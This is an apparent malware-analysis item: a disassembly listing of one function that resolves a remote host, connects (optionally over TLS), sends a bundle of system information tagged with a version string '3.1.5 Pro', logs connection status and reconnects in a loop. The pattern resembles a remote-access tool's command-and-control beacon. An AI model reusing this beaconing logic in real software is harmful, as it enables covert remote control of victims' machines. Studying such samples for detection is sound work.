Function at 0x411319
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x954
lea ecx, [ebp - 0x64]
push ebx
push esi
push edi
call fcn.004020b5
lea ecx, [ebp - 0xe8]
call fcn.00416934
lea ecx, [ebp - 0x568]
call fcn.004020b5
mov edi, 0x46c578
push 0x29
mov ecx, edi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push eax
call fcn.00436079
pop ecx
test eax, eax
je 0x411370
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
mov ecx, esp
push 0x4657dc
call fcn.00402064
push 0
mov ecx, edi
call fcn.00401e29
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020cc
lea ecx, [ebp - 0x1c]
call fcn.00416dd0
add esp, 0x30
xor esi, esi
mov ecx, edi
mov dword [ebp - 4], esi
xor ebx, ebx
push 0x3a
call fcn.00401e29
mov edx, 0x45f6ac
mov ecx, eax
call fcn.0040ee79
test al, al
je 0x411432
push 0x3a
mov ecx, edi
call fcn.00401e29
mov ecx, eax
call fcn.00402469
push eax
push 0x3a
mov ecx, edi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push eax
push 0x39
mov ecx, edi
call fcn.00401e29
mov ecx, eax
call fcn.00402469
push eax
push 0x39
mov ecx, edi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push eax
push 0x38
mov ecx, edi
call fcn.00401e29
mov ecx, eax
call fcn.00402469
push 0x38
mov ecx, edi
mov esi, eax
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
mov edx, esi
mov ecx, eax
call fcn.0040484c
add esp, 0x10
mov esi, ebx
sub esp, 0x18
mov ecx, esp
push 0x4657e0
call fcn.00402064
push ebx
lea ecx, [ebp - 0x1c]
call fcn.00401e29
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020cc
lea ecx, [ebp - 0x10]
call fcn.00416dd0
add esp, 0x30
lea ecx, [ebp - 0x10]
push 2
call fcn.00401e29
mov edx, 0x45f6e8
mov ecx, eax
call fcn.00405a22
neg al
mov ecx, 0x46c768
sbb al, al
inc al
mov byte [0x46bae0], al
call fcn.00404955
test esi, esi
jns 0x4114a0
lea ecx, [ebp - 0x1c]
call fcn.004021d5
cmp eax, 1
jbe 0x411540
cmp byte [0x46c769], 1
lea ecx, [ebp - 0x64]
jne 0x4114b3
push str.__TLS_
jmp 0x4114b8
push 0x45f6ac
call fcn.004059be
sub esp, 0x18
lea eax, [ebp - 0x64]
mov esi, esp
lea ecx, [ebp - 0x10]
push eax
push 1
call fcn.00401e29
push eax
push 0x4657e0
push 0
lea ecx, [ebp - 0x10]
call fcn.00401e29
push eax
mov edx, str.Connecting_to
lea ecx, [ebp - 0x4c]
call fcn.004075e8
pop ecx
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.0040530d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.00402f73
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f73
sub esp, 0x14
mov ecx, esp
push str._Info_
call fcn.00402064
call fcn.004165d8
add esp, 0x30
lea ecx, [ebp - 0x7c]
call fcn.00401fa7
lea ecx, [ebp - 0x34]
call fcn.00401fa7
lea ecx, [ebp - 0x4c]
call fcn.00401fa7
mov esi, dword [ebp - 4]
push 2
pop eax
push 0
lea ecx, [ebp - 0x10]
mov word [0x46bacc], ax
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x411d2a
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
push 0x46bad0
call fcn.00431df0
add esp, 0xc
lea ecx, [ebp - 0x10]
push 1
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push eax
call fcn.00436079
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_htons]
sub esp, 0x10
mov word [0x46bace], ax
mov edi, esp
mov esi, 0x46bacc
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, 0x46c768
mov ecx, edi
call fcn.004049d2
test al, al
je 0x411d22
sub esp, 0x18
lea eax, [ebp - 0x64]
mov esi, esp
lea ecx, [ebp - 0x10]
push eax
push 1
call fcn.00401e29
push eax
push 0x4657e0
push 0
lea ecx, [ebp - 0x10]
call fcn.00401e29
push eax
mov edx, str.Connected_to
lea ecx, [ebp - 0xd0]
call fcn.004075e8
pop ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.0040530d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.00402f73
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f73
sub esp, 0x14
mov ecx, esp
push str._Info_
call fcn.00402064
call fcn.004165d8
add esp, 0x30
lea ecx, [ebp - 0x34]
call fcn.00401fa7
lea ecx, [ebp - 0xb8]
call fcn.00401fa7
lea ecx, [ebp - 0xd0]
call fcn.00401fa7
push 0
push 0xa
mov ecx, edi
call fcn.00404e64
mov byte [ebp - 0xa0], 0
lea edi, [ebp - 0x9f]
xor eax, eax
xor esi, esi
stosd dword es:[edi], eax
inc esi
mov dword [ebp - 4], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00416852
push edx
push eax
lea eax, [ebp - 0xa0]
push str._I64u
push eax
call fcn.00411302
add esp, 0x10
lea ecx, [ebp - 0x7c]
push 0x46c3b0
call fcn.00407352
push 0xa
lea eax, [ebp - 0x88]
push eax
push dword [0x46a9d0]
call fcn.0043a6ff
add esp, 0xc
mov ecx, 0x46c578
push esi
call fcn.00401e29
push eax
lea ecx, [ebp - 0x4c]
call fcn.004020cc
mov esi, 0x46c560
mov ecx, esi
call fcn.00402469
push eax
mov ecx, esi
call fcn.00401f75
push eax
push 0x104
lea eax, [ebp - 0x950]
mov ecx, 0x46c518
push eax
push str.name
call fcn.00401f75
mov edx, eax
call fcn.00410420
add esp, 0x14
test al, al
je 0x411718
lea eax, [ebp - 0x950]
push eax
lea ecx, [ebp - 0x4c]
call fcn.004059be
mov eax, dword [0x46bd44]
xor edi, edi
test eax, eax
je 0x411728
call eax
movzx edi, ax
push 0x46bb08
lea ecx, [ebp - 0x34]
call fcn.0040425f
sub esp, 0x18
lea eax, [ebp - 0xe8]
mov esi, esp
lea ecx, [ebp - 0x550]
mov edx, 0x46c500
push eax
push 0x46c238
call fcn.00416cf4
push eax
push 0x46c238
movzx edx, di
lea ecx, [ebp - 0x538]
call fcn.00416b7e
push eax
mov edi, 0x46c238
lea ecx, [ebp - 0x10]
push edi
push 0x46c548
push edi
push 0
call fcn.00401e29
push eax
push edi
lea eax, [ebp - 0x88]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
lea ecx, [ebp - 0x520]
call fcn.00416b7e
push eax
push edi
call fcn.00416b2e
mov edx, eax
lea ecx, [ebp - 0x508]
call fcn.00416b7e
push eax
movzx eax, byte [0x46a9d4]
lea ecx, [ebp - 0x4f0]
push edi
push eax
push edi
call fcn.00416af4
mov edx, eax
lea ecx, [ebp - 0x4d8]
call fcn.00416cf4
push eax
push edi
mov edx, 0x46c0e0
lea ecx, [ebp - 0x4c0]
call fcn.00416cf4
push eax
push edi
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x4a8]
call fcn.00416cf4
push eax
push edi
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x490]
call fcn.00416cf4
push eax
push edi
push str.3.1.5_Pro
push edi
lea eax, [ebp - 0xa0]
mov edx, 0x46c868
push eax
push edi
lea ecx, [ebp - 0x478]
call fcn.00416cf4
push eax
push edi
push 0x46c5b4
push edi
lea ecx, [ebp - 0x460]
call fcn.0040d585
push eax
push edi
mov edx, 0x46c584
lea ecx, [ebp - 0x448]
call fcn.00416cf4
push eax
push edi
lea edx, [ebp - 0x4c]
lea ecx, [ebp - 0x430]
call fcn.00402f97
pop ecx
mov edx, eax
lea ecx, [ebp - 0x418]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x400]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3e8]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3d0]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3b8]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3a0]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x388]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x370]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x358]
call fcn.0040530d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x340]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x328]
call fcn.0040530d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x310]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2f8]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2e0]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2c8]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2b0]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x298]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x280]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x268]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x250]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x238]
call fcn.0040759e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x220]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x208]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1f0]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1d8]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c0]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1a8]
call fcn.0040530d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x190]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x178]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x160]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x148]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x130]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x118]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x100]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0xd0]
call fcn.00402f73
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f73
pop ecx
mov esi, 0x46c768
push 0x4b
mov ecx, esi
call fcn.00404a6e
lea ecx, [ebp - 0xd0]
call fcn.00401fa7
lea ecx, [ebp - 0xb8]
call fcn.00401fa7
lea ecx, [ebp - 0x100]
call fcn.00401fa7
lea ecx, [ebp - 0x118]
call fcn.00401fa7
lea ecx, [ebp - 0x130]
call fcn.00401fa7
lea ecx, [ebp - 0x148]
call fcn.00401fa7
lea ecx, [ebp - 0x160]
call fcn.00401fa7
lea ecx, [ebp - 0x178]
call fcn.00401fa7
lea ecx, [ebp - 0x190]
call fcn.00401fa7
lea ecx, [ebp - 0x1a8]
call fcn.00401fa7
lea ecx, [ebp - 0x1c0]
call fcn.00401fa7
lea ecx, [ebp - 0x1d8]
call fcn.00401fa7
lea ecx, [ebp - 0x1f0]
call fcn.00401fa7
lea ecx, [ebp - 0x208]
call fcn.00401fa7
lea ecx, [ebp - 0x220]
call fcn.00401fa7
lea ecx, [ebp - 0x238]
call fcn.00401fa7
lea ecx, [ebp - 0x250]
call fcn.00401fa7
lea ecx, [ebp - 0x268]
call fcn.00401fa7
lea ecx, [ebp - 0x280]
call fcn.00401fa7
lea ecx, [ebp - 0x298]
call fcn.00401fa7
lea ecx, [ebp - 0x2b0]
call fcn.00401fa7
lea ecx, [ebp - 0x2c8]
call fcn.00401fa7
lea ecx, [ebp - 0x2e0]
call fcn.00401fa7
lea ecx, [ebp - 0x2f8]
call fcn.00401fa7
lea ecx, [ebp - 0x310]
call fcn.00401fa7
lea ecx, [ebp - 0x328]
call fcn.00401fa7
lea ecx, [ebp - 0x340]
call fcn.00401fa7
lea ecx, [ebp - 0x358]
call fcn.00401fa7
lea ecx, [ebp - 0x370]
call fcn.00401fa7
lea ecx, [ebp - 0x388]
call fcn.00401fa7
lea ecx, [ebp - 0x3a0]
call fcn.00401fa7
lea ecx, [ebp - 0x3b8]
call fcn.00401fa7
lea ecx, [ebp - 0x3d0]
call fcn.00401fa7
lea ecx, [ebp - 0x3e8]
call fcn.00401fa7
lea ecx, [ebp - 0x400]
call fcn.00401fa7
lea ecx, [ebp - 0x418]
call fcn.00401fa7
lea ecx, [ebp - 0x430]
call fcn.00401fa7
lea ecx, [ebp - 0x448]
call fcn.00401fa7
lea ecx, [ebp - 0x460]
call fcn.00401fa7
lea ecx, [ebp - 0x478]
call fcn.00401fa7
lea ecx, [ebp - 0x490]
call fcn.00401fa7
lea ecx, [ebp - 0x4a8]
call fcn.00401fa7
lea ecx, [ebp - 0x4c0]
call fcn.00401fa7
lea ecx, [ebp - 0x4d8]
call fcn.00401fa7
lea ecx, [ebp - 0x4f0]
call fcn.00401ed0
lea ecx, [ebp - 0x508]
call fcn.00401fa7
lea ecx, [ebp - 0x520]
call fcn.00401fa7
lea ecx, [ebp - 0x538]
call fcn.00401fa7
lea ecx, [ebp - 0x550]
call fcn.00401fa7
lea ecx, [ebp - 0x34]
call fcn.00401ed0
push 1
push 0x411d70
mov ecx, esi
call fcn.00404b88
mov eax, dword [0x46bd48]
test eax, eax
je 0x411cb9
cmp byte [0x46bd4d], 0
je 0x411cb9
call eax
mov byte [0x46bd4d], 0
cmp byte [0x46c39a], 0
je 0x411ccc
mov ecx, 0x46c350
call fcn.00409520
call fcn.00405978
sub esp, 0x18
mov ecx, esp
push str.Disconnected_
call fcn.00402064
sub esp, 0x18
mov ecx, esp
push str._Info_
call fcn.00402064
call fcn.004165d8
add esp, 0x30
cmp byte [0x46bea4], 0
je 0x411d12
xor eax, eax
push eax
push eax
push eax
push fcn.0041601e
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x4c]
call fcn.00401fa7
lea ecx, [ebp - 0x7c]
call fcn.00401ed0
mov esi, dword [ebp - 4]
mov edi, 0x46c578
dec esi
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], esi
inc ebx
call fcn.004021d5
cmp ebx, eax
jb 0x411d63
push 2
pop eax
push eax
mov ecx, edi
xor ebx, ebx
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push eax
call fcn.00436079
imul eax, eax, 0x3e8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x10]
call fcn.00401e54
jmp 0x411432